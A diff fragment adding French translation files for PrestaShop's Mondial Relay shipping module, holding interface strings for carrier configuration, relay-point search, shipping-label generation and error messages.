+$_MODULE['<{mondialrelay}default>mondialrelay_760ac6deb1c5b84321f65ba0c7f319f5'] = 'La zone du transporteur ou les données de livraison ne peuvent être ajouté'; +$_MODULE['<{mondialrelay}default>mondialrelay_8bf569ff65b32464e623ca9e9a10688d'] = 'Le transporteur ne peut être créé'; +$_MODULE['<{mondialrelay}default>mondialrelay_6ed26bdf3f9141ddca4ede91f943e567'] = 'Le mode de transporteur ne peut être ajouté pour le module'; +$_MODULE['<{mondialrelay}default>mondialrelay_af135815ccf731bcbffb522004762b57'] = 'Le transporteur ne peut être supprimé'; +$_MODULE['<{mondialrelay}default>mondialrelay_bba366864d25056c941b72f18ef79e7c'] = 'Cette erreur n\'est pas mentionnée:'; +$_MODULE['<{mondialrelay}default>mrcreatetickets_a1c3470a944b9625cfb924fd15c8bdbf'] = 'Veuillez choisir au moins une commande'; +$_MODULE['<{mondialrelay}default>mrcreatetickets_dc41aac14af17f1d19fca5e3b9439e74'] = 'Cette clé'; +$_MODULE['<{mondialrelay}default>mrcreatetickets_306b346c19017609403424203ea3d720'] = 'est vide et doit être renseignée'; +$_MODULE['<{mondialrelay}default>mrcreatetickets_8184ba43565d0d65b7b1739f2cef25c8'] = 'La requete semble invalide'; +$_MODULE['<{mondialrelay}default>mrcreatetickets_c9b4de92f371ae545ad6f051c07d58ca'] = 'Erreur numéro :'; +$_MODULE['<{mondialrelay}default>mrcreatetickets_ea5f761be4e4888eabf4e1501d7817d1'] = 'Détails :'; +$_MODULE['<{mondialrelay}default>mrcreatetickets_eabb11bf9623f08409a0a4c9d035a336'] = 'Numéro d\'expédition :'; +$_MODULE['<{mondialrelay}default>mrcreatetickets_b92c3d3319314513c547675924ceecd1'] = 'URL du Ticket :'; +$_MODULE['<{mondialrelay}default>mrcreatetickets_66b793b6b4125e300717e8cf7449f533'] = 'Url de Tracking :'; +$_MODULE['<{mondialrelay}default>mrcreatetickets_952a812236cabbd70b949ecb43f89c82'] = 'Le webservice Mondial Relay semble être déconnecté'; +$_MODULE['<{mondialrelay}default>mrcreatetickets_26b6b6eaec970108c5e84286159fbf48'] = 'Merci de vérifier la configuration de votre langue'; +$_MODULE['<{mondialrelay}default>mrcreatetickets_557595c2e17c9948a9448eb763ac1a88'] = 'Merci de vérifier la configuration de votre nom de boutique'; +$_MODULE['<{mondialrelay}default>mrcreatetickets_017ca6b770ad53669a4eec82894dfcd3'] = 'Merci de vérifier la configuration de votre adresse 1'; +$_MODULE['<{mondialrelay}default>mrcreatetickets_3f79e1fc66b4f9cca7bd68cab176020d'] = 'Merci de vérifier la configuration de votre ville'; +$_MODULE['<{mondialrelay}default>mrcreatetickets_404665d9b65239985d59b30b3dcb26b5'] = 'Merci de vérifier la configuration de votre code postal'; +$_MODULE['<{mondialrelay}default>mrcreatetickets_0b8a30478b9572b86718989d483fd88d'] = 'Merci de vérifier la configuration de votre pays'; +$_MODULE['<{mondialrelay}default>mrcreatetickets_7ddf2d94bf037b7d1088c0600ea589c3'] = 'Merci de vérifier la configuration de votre téléphone'; +$_MODULE['<{mondialrelay}default>mrcreatetickets_9c7ce7be9a2c593b24d448edb4f804e0'] = 'Merci de vérifier la configuration de votre email'; +$_MODULE['<{mondialrelay}default>mrcreatetickets_85e6a18230d49abf8cfe912809185258'] = 'La validation du code postal ne peux être effectué sur une version de PrestaShop inférieur à la 1.4'; +$_MODULE['<{mondialrelay}default>mrgetrelaypoint_14288d48d107056c1acf8aaae1bf282b'] = 'L\'adresse du client ne peut etre trouvé'; +$_MODULE['<{mondialrelay}default>mrgetrelaypoint_dc41aac14af17f1d19fca5e3b9439e74'] = 'Cette clé'; +$_MODULE['<{mondialrelay}default>mrgetrelaypoint_135a7b9a62531e066a95093d8951b344'] = 'n\'a pas un format valide'; +$_MODULE['<{mondialrelay}default>mrgetrelaypoint_e6940b76f045c8bc0aaaa5b2476cdaf7'] = 'Il semblerai que la requete n\'est pas valide'; +$_MODULE['<{mondialrelay}default>mrgetrelaypoint_c9b4de92f371ae545ad6f051c07d58ca'] = 'There is an error number :'; +$_MODULE['<{mondialrelay}default>mrgetrelaypoint_ea5f761be4e4888eabf4e1501d7817d1'] = 'Details :'; +$_MODULE['<{mondialrelay}default>mrgetrelaypoint_4e274658c9e97c2a336dde79dd0a7772'] = 'MondialRelay can\'t find any relay point near your address. Maybe your address isn\'t properly filled ?'; +$_MODULE['<{mondialrelay}default>mrgetrelaypoint_2653c23b8c0daac59571e4be5e8fa7d0'] = 'The Mondial Relay webservice isn\'t currently reliable'; +$_MODULE['<{mondialrelay}default>mrgettickets_dc41aac14af17f1d19fca5e3b9439e74'] = 'This key'; +$_MODULE['<{mondialrelay}default>mrgettickets_135a7b9a62531e066a95093d8951b344'] = 'hasn\'t a valide value format'; +$_MODULE['<{mondialrelay}default>mrgettickets_e6940b76f045c8bc0aaaa5b2476cdaf7'] = 'It seems the request isn\'t valid:'; +$_MODULE['<{mondialrelay}default>mrgettickets_c9b4de92f371ae545ad6f051c07d58ca'] = 'There is an error number :'; +$_MODULE['<{mondialrelay}default>mrgettickets_ea5f761be4e4888eabf4e1501d7817d1'] = 'Détails :'; +$_MODULE['<{mondialrelay}default>mrgettickets_2653c23b8c0daac59571e4be5e8fa7d0'] = 'The Mondial Relay webservice isn\'t currently reliable'; +$_MODULE['<{mondialrelay}default>mrmanagement_38b4abe2f5860f034e315f2da648a3d6'] = 'Désintaller MondialRelay'; +$_MODULE['<{mondialrelay}default>mrmanagement_a4691c957e81a6f0b6f0ed44f8f2dfe8'] = 'Vous allez désintaller le module : voulez vous aussi effacer les paramètres relatifs à Mondial Relay?'; +$_MODULE['<{mondialrelay}default>mrmanagement_09c081633d484a62a2f6940c12a0de36'] = 'Garder et désintaller'; +$_MODULE['<{mondialrelay}default>mrmanagement_0b7f47fce1d82d53244771c64b1535c0'] = 'Supprimer et désinstaller'; +$_MODULE['<{mondialrelay}default>mrmanagement_ea4788705e6873b424c65e91c2846b19'] = 'Annuler'; +$_MODULE['<{mondialrelay}default>mrmanagement_a42bb0eaa485682166770a54469385f6'] = 'Certaines étiquettes ne peuvent pas être supprimées : veuillez réessayer un peu plus tard.'; +$_MODULE['<{mondialrelay}default>mrmanagement_11744bfebb33e52be37a66a530b7045d'] = 'Veuillez choisir au moins un élèment de l\'historique'; +$_MODULE['<{mondialrelay}default>mrrelaydetail_14288d48d107056c1acf8aaae1bf282b'] = 'L\'adresse du client ne peut être trouvé'; +$_MODULE['<{mondialrelay}default>mrrelaydetail_dc41aac14af17f1d19fca5e3b9439e74'] = 'Cette clé'; +$_MODULE['<{mondialrelay}default>mrrelaydetail_306b346c19017609403424203ea3d720'] = 'est vide et doit être renseignée'; +$_MODULE['<{mondialrelay}default>mrrelaydetail_e6940b76f045c8bc0aaaa5b2476cdaf7'] = 'Il semble que la requête ne soit pas valide'; +$_MODULE['<{mondialrelay}default>mrrelaydetail_c9b4de92f371ae545ad6f051c07d58ca'] = 'Erreur numéro :'; +$_MODULE['<{mondialrelay}default>mrrelaydetail_ea5f761be4e4888eabf4e1501d7817d1'] = 'Détails :'; +$_MODULE['<{mondialrelay}default>mrrelaydetail_6f8522e0610541f1ef215a22ffa66ff6'] = 'Lundi'; +$_MODULE['<{mondialrelay}default>mrrelaydetail_5792315f09a5d54fb7e3d066672b507f'] = 'Mardi'; +$_MODULE['<{mondialrelay}default>mrrelaydetail_796c163589f295373e171842f37265d5'] = 'Mercredi'; +$_MODULE['<{mondialrelay}default>mrrelaydetail_78ae6f0cd191d25147e252dc54768238'] = 'Jeudi'; +$_MODULE['<{mondialrelay}default>mrrelaydetail_c33b138a163847cdb6caeeb7c9a126b4'] = 'Vendredi'; +$_MODULE['<{mondialrelay}default>mrrelaydetail_8b7051187b9191cdcdae6ed5a10e5adc'] = 'Samedi'; +$_MODULE['<{mondialrelay}default>mrrelaydetail_9d1a0949c39e66a0cd65240bc0ac9177'] = 'Dimanche'; +$_MODULE['<{mondialrelay}default>mrrelaydetail_2653c23b8c0daac59571e4be5e8fa7d0'] = 'Le webservice Mondial Relay est actuellement innaccessible.'; +$_MODULE['<{mondialrelay}default>checkout_process_836f6c949a2f2d61489bf410def82111'] = 'Mondial relay can\'t fetch any replay point due to error '; +$_MODULE['<{mondialrelay}default>configuration_0f27e5e9020f28e3f31b78376e11d4c7'] = 'Configuration de Mondial Relay'; +$_MODULE['<{mondialrelay}default>configuration_8bc212f48680748479bbd322d4d73d3f'] = 'Détails du compte'; +$_MODULE['<{mondialrelay}default>configuration_ea9cf7e47ff33b2be14e6dd07cbcefc6'] = 'Transporteur'; +$_MODULE['<{mondialrelay}default>configuration_fe4c6a5e7bd6793b37370e4e46daf998'] = 'Paramètres avancés'; +$_MODULE['<{mondialrelay}default>configuration_326e057f57e830834c20d668e44627ef'] = 'Infos'; +$_MODULE['<{mondialrelay}default>configuration_29141d2b5a484e8032ef64339733f0dc'] = 'Merci de configurer le détail votre compte'; +$_MODULE['<{mondialrelay}default>configuration_5a2355a42ba3ab265701183c914467f2'] = 'Essayez de désactiver le cache et de forcer la compilation smarty'; +$_MODULE['<{mondialrelay}default>configuration_3de769f9a81eed916583d5b35c58dbdd'] = 'si vous rencontrez le moindre problème après une mise à jour du module'; +$_MODULE['<{mondialrelay}default>configuration_8f8b21bd013b38d1e3059557c22a57e7'] = 'Consulter le manuel pour vous guider dans la configuration de Mondial Relay'; +$_MODULE['<{mondialrelay}default>configuration_d21a9f93917604d5490ad529a7cf1ff9'] = 'Pour créer un transporteur Mondial Relay'; +$_MODULE['<{mondialrelay}default>configuration_c6a2e6af5fff47adb3afd780b97d9b4b'] = 'Remplissez et sauvegardez vos paramètres Mondial Relay'; +$_MODULE['<{mondialrelay}default>configuration_b29c4694f835ad29b9893cd3fed36fbc'] = 'Créez un transporteur en utilisant le bouton \'Transporteur\''; +$_MODULE['<{mondialrelay}default>configuration_b962d8fb95f5a439f50502152f3bad71'] = 'Définissez un prix pour votre transporteur sur'; +$_MODULE['<{mondialrelay}default>configuration_faf1247ae6846a9955a466d4f301bbe4'] = 'La page Transporteurs'; +$_MODULE['<{mondialrelay}default>configuration_10d78806b84b97ebc774e9f6277af6ac'] = 'Pour générer vos étiquettes, vous devez avoir enregistré une adresse valide de votre boutique sur votre'; +$_MODULE['<{mondialrelay}default>configuration_af5efea250326c1c34d69aa9364b482c'] = 'page contact'; +$_MODULE['<{mondialrelay}default>configuration_1ba3935c9858ffb8e19a35ca640b8505'] = 'Détails du compte Mondial Relay'; +$_MODULE['<{mondialrelay}default>configuration_a125105400f6e4ee4574da3793af5ef2'] = 'Ces paramètres vous sont donnés par Mondial Relay une fois inscrit à leurs services'; +$_MODULE['<{mondialrelay}default>configuration_12a3fbd35c1cab4b1101b91d708efd15'] = 'Enseigne Webservice :'; +$_MODULE['<{mondialrelay}default>configuration_6f0434b67007b555dfd1201f4e0d5254'] = 'Code Marque :'; +$_MODULE['<{mondialrelay}default>configuration_08f785193c96b2a78dec8d76a46648d6'] = 'Clé Webservice :'; +$_MODULE['<{mondialrelay}default>configuration_0dae2d7c71f2daaedb00191af25dc28d'] = 'Langue des étiquettes'; +$_MODULE['<{mondialrelay}default>configuration_a26329cba9723551cb8654deba32872b'] = 'Coefficient de Poids :'; +$_MODULE['<{mondialrelay}default>configuration_99244b234ec089eca40ff9e8ec343e87'] = 'grammes = 1'; +$_MODULE['<{mondialrelay}default>configuration_80eac24973917207249176589fb068ce'] = 'Par défaut le prix sera définit en fonction du poids total.'; +$_MODULE['<{mondialrelay}default>configuration_61cbc2d26b4157292673c772ddd6c0f7'] = 'Mettre à jour le compte'; +$_MODULE['<{mondialrelay}default>configuration_70397c4b252a5168c5ec003931cea215'] = 'Champs requis'; +$_MODULE['<{mondialrelay}default>configuration_9ffc3ccc968a96d902af963c6d7b4e97'] = 'Paramètres avancés'; +$_MODULE['<{mondialrelay}default>configuration_fcf5b2122da1d5a5f5c7253b96a3f9d9'] = 'URL de la tache CRON'; +$_MODULE['<{mondialrelay}default>configuration_66661dacf33146201b60dc16520ddd68'] = 'Ajouter une méthode de transport'; +$_MODULE['<{mondialrelay}default>configuration_531e144cc23ef08408b81cb4d9c641dc'] = 'Nom du transporteur'; +$_MODULE['<{mondialrelay}default>configuration_8f497c1a3d15af9e0c215019f26b887d'] = 'Délais '; +$_MODULE['<{mondialrelay}default>configuration_201bdb87f8e278b943d07ae924d5de6e'] = 'Mode de livraison'; +$_MODULE['<{mondialrelay}default>configuration_142ef02888af88b8b772335277d1c0c8'] = 'Livraison dans un point relais'; +$_MODULE['<{mondialrelay}default>configuration_eeab8b7cf3c7a558a0e8a4050fa994ca'] = 'Livraison Colis Drive'; +$_MODULE['<{mondialrelay}default>configuration_8f7794b107749728c3333ef38d2687e8'] = 'Livraison à domicile RDC (1 personne)'; +$_MODULE['<{mondialrelay}default>configuration_e451efc8ce05b96b214b4c2935f2c657'] = 'Livraison à domicile spécialisée (2 personnes)'; +$_MODULE['<{mondialrelay}default>configuration_eaff1bdf24fcffe0e14e29a1bff51a12'] = 'Assurance'; +$_MODULE['<{mondialrelay}default>configuration_96ba408f20bc3e065f400c650d32fd1a'] = 'Sans assurance'; +$_MODULE['<{mondialrelay}default>configuration_e5a8fafb1dfb538c172e1e014e86b871'] = 'Assurance complémentaire N1'; +$_MODULE['<{mondialrelay}default>configuration_b02f8d6d4b6217cca317161c87f64065'] = 'Assurance complémentaire N2'; +$_MODULE['<{mondialrelay}default>configuration_90b95ae88150c6a34c4129dc4f1ebbd5'] = 'Assurance complémentaire N3'; +$_MODULE['<{mondialrelay}default>configuration_c15b40b8c535191f6f0b6f9beaced3cf'] = 'Assurance complémentaire N4'; +$_MODULE['<{mondialrelay}default>configuration_b67a442fff3ca0a03ea253b0668f946d'] = 'Assurance complémentaire N5'; +$_MODULE['<{mondialrelay}default>configuration_33cbd0d8b6476501f55a8320481ec0f1'] = 'Pays de livraison :'; +$_MODULE['<{mondialrelay}default>configuration_aef71ba4fd060dea2e2c76d1b5076caf'] = 'Vous pouvez choisir plusieurs pays en appuyant sur Ctrl tout en sélectionnant les pays'; +$_MODULE['<{mondialrelay}default>configuration_0309a6c666a7a803fdb9db95de71cf01'] = 'France'; +$_MODULE['<{mondialrelay}default>configuration_6c1674d14bf5f95742f572cddb0641a7'] = 'Belgique'; +$_MODULE['<{mondialrelay}default>configuration_06630c890abadde9228ea818ce52b621'] = 'Luxembourg'; +$_MODULE['<{mondialrelay}default>configuration_907eba32d950bfab68227fd7ea22999b'] = 'Espagne'; +$_MODULE['<{mondialrelay}default>configuration_0c24ec05a02c710cedd400e3680d8b81'] = 'Liste des transporteurs'; +$_MODULE['<{mondialrelay}default>configuration_14039af96b01e718a9c9d9c1259b6472'] = 'Aucun transporteur créé'; +$_MODULE['<{mondialrelay}default>configuration_daf999e234b6f358dda641bf381b685a'] = 'Modifier les paramètres de ce transporteur'; +$_MODULE['<{mondialrelay}default>header_e0626222614bdee31951d84c64e5e9ff'] = 'Select'; +$_MODULE['<{mondialrelay}default>header_91b442d385b54e1418d81adc34871053'] = 'Selected'; +$_MODULE['<{mondialrelay}default>header_ef2a1f426c2c289ed5986c7636a5d696'] = 'Please choose a Point Relais'; +$_MODULE['<{mondialrelay}default>header_80a0c205cd57b22fca7f174253870300'] = 'Opening hours'; +$_MODULE['<{mondialrelay}default>header_2b56b60f878922093facd42284848a0c'] = 'More details'; +$_MODULE['<{mondialrelay}default>header_92e2da12c19a4943821044eb760eea09'] = 'Town/City'; +$_MODULE['<{mondialrelay}default>header_db17b3566c9be74a5dd2eec0852616cd'] = 'Post Code'; +$_MODULE['<{mondialrelay}default>header_3a8a7a8a2dbbd97c1c1519c74198112d'] = 'Search'; +$_MODULE['<{mondialrelay}default>header_b99229bff1d0b533e4274754336c51db'] = 'Post Code and Town/City are required fields'; +$_MODULE['<{mondialrelay}default>header_5a370af6164ecbdfec6a3122b9489d25'] = 'Select your Point Relais '; +$_MODULE['<{mondialrelay}default>order_detail_81b7b4587a2a3ea7a0d6bb1df3fbba54'] = 'Livraison dans'; +$_MODULE['<{mondialrelay}default>order_detail_c2d05abc7f5ebdc72b6656df35038b43'] = 'Suivre mon colis sur le site de Mondial Relay'; +$_MODULE['<{mondialrelay}default>post_action_466ec9f29b485204ef53818459da48af'] = 'erreur(s)'; +$_MODULE['<{mondialrelay}default>generate_tickets_8d63728960e021f7632a11922685705e'] = 'Merci de bien vouloir corriger les erreurs suivantes dans'; +$_MODULE['<{mondialrelay}default>generate_tickets_264f456c4202f0aba86e481a246a3ef1'] = 'la page de contact'; +$_MODULE['<{mondialrelay}default>generate_tickets_de21dc13e1ea638777fbfad49f88b332'] = 'Toutes les commandes qui auront un statut'; +$_MODULE['<{mondialrelay}default>generate_tickets_378116486b5a90bb50fd4f1557698d96'] = 'seront disponibles pour la création d\'étiquette'; +$_MODULE['<{mondialrelay}default>generate_tickets_5dadbd0ec9f0b182be4ead8dad39da79'] = 'Liste des commandes'; +$_MODULE['<{mondialrelay}default>generate_tickets_d79cf3f429596f77db95c65074663a54'] = 'Numéro de commande'; +$_MODULE['<{mondialrelay}default>generate_tickets_ce26601dac0dea138b7295f02b7620a7'] = 'Client'; +$_MODULE['<{mondialrelay}default>generate_tickets_0eede552438475bdfe820c13f24c9399'] = 'Prix total'; +$_MODULE['<{mondialrelay}default>generate_tickets_c28e0582276cb6747e37d948e1727929'] = 'Total frais d\'expédition'; +$_MODULE['<{mondialrelay}default>generate_tickets_44749712dbec183e983dcd78a7736c41'] = 'Date'; +$_MODULE['<{mondialrelay}default>generate_tickets_52150799c57e873360cca13c080a91b4'] = 'Mettez un poids (grammes)'; +$_MODULE['<{mondialrelay}default>generate_tickets_6ccc0fdff9995e1a0fce00c99e5b6085'] = 'Numéro MR'; +$_MODULE['<{mondialrelay}default>generate_tickets_f9c50cba4de9032d7a6797a2458f8ed9'] = 'Pays MR'; +$_MODULE['<{mondialrelay}default>generate_tickets_428c091372d840900cf8536519fa0056'] = 'Numéro d\'expédition'; +$_MODULE['<{mondialrelay}default>generate_tickets_a254c25adc7d10d7e9c4889484f875a5'] = 'Détail'; +$_MODULE['<{mondialrelay}default>generate_tickets_4351cfebe4b61d8aa5efa1d020710005'] = 'Voir'; +$_MODULE['<{mondialrelay}default>generate_tickets_2e01172e31495f41fcebcf3f831cc82c'] = 'Opération réussie'; +$_MODULE['<{mondialrelay}default>generate_tickets_37c85a61df6352af7285c307022c4413'] = 'Aucune commande disponible avec ce statut'; +$_MODULE['<{mondialrelay}default>generate_tickets_32b919d18cfaca89383f6000dcc9c031'] = 'Générer'; +$_MODULE['<{mondialrelay}default>history_4f1a377c20ace646ddd303ad1e1d243d'] = 'Historique de la création d\'étiquettes'; +$_MODULE['<{mondialrelay}default>history_d79cf3f429596f77db95c65074663a54'] = 'Numéro de commande'; +$_MODULE['<{mondialrelay}default>history_e1a98101d56e29eeea312a0eb2748a92'] = 'Numéro d\'expédition'; +$_MODULE['<{mondialrelay}default>history_aab39f783ba2e72eaad1770f4d9ad0c4'] = 'Imprimer l\'étiquette format A4'; +$_MODULE['<{mondialrelay}default>history_3eb2bc1ee46258d2a166e89398756b3e'] = 'Imprimer l\'étiquette format A5'; +$_MODULE['<{mondialrelay}default>history_9e50665937cbb2f3c833d3626a9f9abb'] = 'Aucun historique disponible'; +$_MODULE['<{mondialrelay}default>history_fa98e6528c9df7f26978c2beb7de3d99'] = 'Supprimer les historiques sélectionnés'; +$_MODULE['<{mondialrelay}default>settings_0a4ee7474864081af12dba847fafdaa6'] = 'Configuration du panneau d\'administration'; +$_MODULE['<{mondialrelay}default>settings_d02bbc3cb147c272b0445ac5ca7d1a36'] = 'État de la commande'; +$_MODULE['<{mondialrelay}default>settings_ca57625685f058f54d82c6e05876a131'] = 'Choississez le statut pour la génération d\'étiquette.'; +$_MODULE['<{mondialrelay}default>settings_c9cc8cce247e49bae79f15173ce97354'] = 'Sauvegarder'; +$_MODULE['<{mondialrelay}default>settings_f4f70727dc34561dfde1a3c529b6205c'] = 'Paramètres'; +$_MODULE['<{mondialrelay}default>install-1.8.0_315a8895cf7c458597be5cf3c5b18d0b'] = 'Impossibilité de créer la table \'method shop\''; +$_MODULE['<{mondialrelay}default>install-1.8.0_e364c3962f360330a5d8084c3ef5cacf'] = 'Imossibilité de changer le nom de la table \'method\''; +$_MODULE['<{mondialrelay}default>install-1.8.0_6384826d8bae08ec0ca4d1cd386a32c8'] = 'Impossibilité de renommer la table d\'historique'; +$_MODULE['<{mondialrelay}default>install-1.8.0_4c74bd0afa2a8ecb894674c9cd942da5'] = 'Impossibilité de mettre à jour la table \'method shop\''; +$_MODULE['<{mondialrelay}default>install-1.8.3_665cc27f3a529d80315dd49378a6c2bf'] = 'Impossibilité de créer de nouveaux champs dans la table \'method\''; diff --git a/themes/default/modules/mondialrelay/translations/fr.php b/themes/default/modules/mondialrelay/translations/fr.php new file mode 100755 index 0000000..c552c2d --- /dev/null +++ b/themes/default/modules/mondialrelay/translations/fr.php @@ -0,0 +1,191 @@ +adminmondialrelay_e82faee1422140edd04b2f94c5051500'] = 'Action terminée avec succès!'; +$_MODULE['<{mondialrelay}default>adminmondialrelay_3b2d373418745276ae6e207421245cdc'] = 'Le statut de la commande a été mis à jour'; +$_MODULE['<{mondialrelay}default>adminmondialrelay_b4ac3d3f15bc0984d0906aff1202e701'] = 'Impossible de mettre à jour le compte'; +$_MODULE['<{mondialrelay}default>mondialrelay_44585fcd617dce6416d8283b026714c1'] = 'Mondial Relay'; +$_MODULE['<{mondialrelay}default>mondialrelay_ed4a3b96dc1f38c160775cac1f7bcd6d'] = 'Livrez vos colis en point relais'; +$_MODULE['<{mondialrelay}default>mondialrelay_1889ea20d1343f376f5d52b6b8dc7a3f'] = 'Vous devez sélectionner un point relais avant de continuer.'; +$_MODULE['<{mondialrelay}default>mondialrelay_d2286c9c8c8f92cb0e805b17834591b0'] = 'Enseigne invalide'; +$_MODULE['<{mondialrelay}default>mondialrelay_709b076565df5fa98cdb2528d897633d'] = 'Code Marque invalide'; +$_MODULE['<{mondialrelay}default>mondialrelay_c86508f5bc6b4456e7003d6a1868689d'] = 'Clé Webservice invalide'; +$_MODULE['<{mondialrelay}default>mondialrelay_ea9261a3dad976b40ff2088a19fda2c3'] = 'Langage invalide'; +$_MODULE['<{mondialrelay}default>mondialrelay_4eb287cc225ba0e1bcfe9cc1b8315def'] = 'Coefficient de poids invalide'; +$_MODULE['<{mondialrelay}default>mondialrelay_70ff82d47f295f730c6accf07a2948e8'] = 'Nom de transporteur invalide'; +$_MODULE['<{mondialrelay}default>mondialrelay_e1f1787db2fee596f4c3bfaf1d098f8d'] = 'Col Mode invalide'; +$_MODULE['<{mondialrelay}default>mondialrelay_9414b7de379a09941e894d28f19949ae'] = 'Mode de livraison invalide'; +$_MODULE['<{mondialrelay}default>mondialrelay_5eeb9ca7eee4be7192dd10d917f79a12'] = 'Assurance invalide'; +$_MODULE['<{mondialrelay}default>mondialrelay_8b446ac2013dc7085802de71cc342ead'] = 'Vous devez choisir au moins un pays de livraison'; +$_MODULE['<{mondialrelay}default>mondialrelay_979c6094728c14aac1b66d544dc5cebd'] = 'Etat de commande invalide'; +$_MODULE['<{mondialrelay}default>mondialrelay_e82faee1422140edd04b2f94c5051500'] = 'Action réussie'; +$_MODULE['<{mondialrelay}default>mondialrelay_672facd73d4aee44c116cfd95298db87'] = 'Les informations du compte viennent d\'être mises à jour'; +$_MODULE['<{mondialrelay}default>mondialrelay_b4ac3d3f15bc0984d0906aff1202e701'] = 'Impossibilité de mettre à jour les infos du compte pour cette boutique'; +$_MODULE['<{mondialrelay}default>mondialrelay_ea50be3d60be594e10e9e3560cb9159f'] = 'Nouvelle méthode de transport ajoutée'; +$_MODULE['<{mondialrelay}default>mondialrelay_d0cfdfcfb71029b561f5ebdc176d87ca'] = 'Le statu de la commande à été mise à jour'; +$_MODULE['<{mondialrelay}default>mondialrelay_7534411af2e35bed1f79df5938f077f9'] = 'Le transporteur a été supprimé (désactivé dans la base de données de PrestaShop)'; +$_MODULE['<{mondialrelay}default>mondialrelay_2673bca5ba0a7871770e69c962e6ce38'] = 'Numéro d\'expédition'; +$_MODULE['<{mondialrelay}default>mondialrelay_0dbe844fb964d5eca2f51be724e43294'] = 'URL de l\'étiquette'; +$_MODULE['<{mondialrelay}default>mondialrelay_c6aefd5e2191e1210a2f50416812b517'] = 'URL de suivi'; +$_MODULE['<{mondialrelay}default>mondialrelay_61e70b58e38fd01daa254f44c4fa264b'] = 'Numéro du point relais :'; +$_MODULE['<{mondialrelay}default>mondialrelay_aa625fced6f01ae595b6a9ac499c2ecf'] = 'La tranche de poids ne peut être ajouté'; +$_MODULE['<{mondialrelay}default>mondialrelay_63d15383121b5bb5c53323f3f96bd1f2'] = 'La tranche de prix ne peux être ajouté'; +$_MODULE['<{mondialrelay}default>mondialrelay_d4d197dd028e28ae56208971b564921a'] = 'La zone par défaut ne peut être ajouté'; +$_MODULE['<{mondialrelay}default>mondialrelay_760ac6deb1c5b84321f65ba0c7f319f5'] = 'La zone du transporteur ou les données de livraison ne peuvent être ajouté'; +$_MODULE['<{mondialrelay}default>mondialrelay_8bf569ff65b32464e623ca9e9a10688d'] = 'Le transporteur ne peut être créé'; +$_MODULE['<{mondialrelay}default>mondialrelay_6ed26bdf3f9141ddca4ede91f943e567'] = 'Le mode de transporteur ne peut être ajouté pour le module'; +$_MODULE['<{mondialrelay}default>mondialrelay_af135815ccf731bcbffb522004762b57'] = 'Le transporteur ne peut être supprimé'; +$_MODULE['<{mondialrelay}default>mondialrelay_bba366864d25056c941b72f18ef79e7c'] = 'Cette erreur n\'est pas mentionnée:'; +$_MODULE['<{mondialrelay}default>mrcreatetickets_a1c3470a944b9625cfb924fd15c8bdbf'] = 'Veuillez choisir au moins une commande'; +$_MODULE['<{mondialrelay}default>mrcreatetickets_dc41aac14af17f1d19fca5e3b9439e74'] = 'Cette clé'; +$_MODULE['<{mondialrelay}default>mrcreatetickets_306b346c19017609403424203ea3d720'] = 'est vide et doit être renseignée'; +$_MODULE['<{mondialrelay}default>mrcreatetickets_8184ba43565d0d65b7b1739f2cef25c8'] = 'La requete semble invalide'; +$_MODULE['<{mondialrelay}default>mrcreatetickets_c9b4de92f371ae545ad6f051c07d58ca'] = 'Erreur numéro :'; +$_MODULE['<{mondialrelay}default>mrcreatetickets_ea5f761be4e4888eabf4e1501d7817d1'] = 'Détails :'; +$_MODULE['<{mondialrelay}default>mrcreatetickets_eabb11bf9623f08409a0a4c9d035a336'] = 'Numéro d\'expédition :'; +$_MODULE['<{mondialrelay}default>mrcreatetickets_b92c3d3319314513c547675924ceecd1'] = 'URL du Ticket :'; +$_MODULE['<{mondialrelay}default>mrcreatetickets_66b793b6b4125e300717e8cf7449f533'] = 'Url de Tracking :'; +$_MODULE['<{mondialrelay}default>mrcreatetickets_952a812236cabbd70b949ecb43f89c82'] = 'Le webservice Mondial Relay semble être déconnecté'; +$_MODULE['<{mondialrelay}default>mrcreatetickets_26b6b6eaec970108c5e84286159fbf48'] = 'Merci de vérifier la configuration de votre langue'; +$_MODULE['<{mondialrelay}default>mrcreatetickets_557595c2e17c9948a9448eb763ac1a88'] = 'Merci de vérifier la configuration de votre nom de boutique'; +$_MODULE['<{mondialrelay}default>mrcreatetickets_017ca6b770ad53669a4eec82894dfcd3'] = 'Merci de vérifier la configuration de votre adresse 1'; +$_MODULE['<{mondialrelay}default>mrcreatetickets_3f79e1fc66b4f9cca7bd68cab176020d'] = 'Merci de vérifier la configuration de votre ville'; +$_MODULE['<{mondialrelay}default>mrcreatetickets_404665d9b65239985d59b30b3dcb26b5'] = 'Merci de vérifier la configuration de votre code postal'; +$_MODULE['<{mondialrelay}default>mrcreatetickets_0b8a30478b9572b86718989d483fd88d'] = 'Merci de vérifier la configuration de votre pays'; +$_MODULE['<{mondialrelay}default>mrcreatetickets_7ddf2d94bf037b7d1088c0600ea589c3'] = 'Merci de vérifier la configuration de votre téléphone'; +$_MODULE['<{mondialrelay}default>mrcreatetickets_9c7ce7be9a2c593b24d448edb4f804e0'] = 'Merci de vérifier la configuration de votre email'; +$_MODULE['<{mondialrelay}default>mrcreatetickets_85e6a18230d49abf8cfe912809185258'] = 'La validation du code postal ne peux être effectué sur une version de PrestaShop inférieur à la 1.4'; +$_MODULE['<{mondialrelay}default>mrgetrelaypoint_14288d48d107056c1acf8aaae1bf282b'] = 'L\'adresse du client ne peut etre trouvé'; +$_MODULE['<{mondialrelay}default>mrgetrelaypoint_dc41aac14af17f1d19fca5e3b9439e74'] = 'Cette clé'; +$_MODULE['<{mondialrelay}default>mrgetrelaypoint_135a7b9a62531e066a95093d8951b344'] = 'n\'a pas un format valide'; +$_MODULE['<{mondialrelay}default>mrgetrelaypoint_e6940b76f045c8bc0aaaa5b2476cdaf7'] = 'Il semblerai que la requete n\'est pas valide'; +$_MODULE['<{mondialrelay}default>mrgetrelaypoint_c9b4de92f371ae545ad6f051c07d58ca'] = 'Il y a une erreur numéro'; +$_MODULE['<{mondialrelay}default>mrgetrelaypoint_ea5f761be4e4888eabf4e1501d7817d1'] = 'Détail :'; +$_MODULE['<{mondialrelay}default>mrgetrelaypoint_4e274658c9e97c2a336dde79dd0a7772'] = 'MondialRelay ne peux trouver aucun point relais proche de votre adresse. Peut etre que votre adresse n\'est pas correctement rempli ?'; +$_MODULE['<{mondialrelay}default>mrgetrelaypoint_2653c23b8c0daac59571e4be5e8fa7d0'] = 'Le webservice MondialRelay n\'est pas joignable'; +$_MODULE['<{mondialrelay}default>mrgettickets_dc41aac14af17f1d19fca5e3b9439e74'] = 'Cette clé'; +$_MODULE['<{mondialrelay}default>mrgettickets_135a7b9a62531e066a95093d8951b344'] = 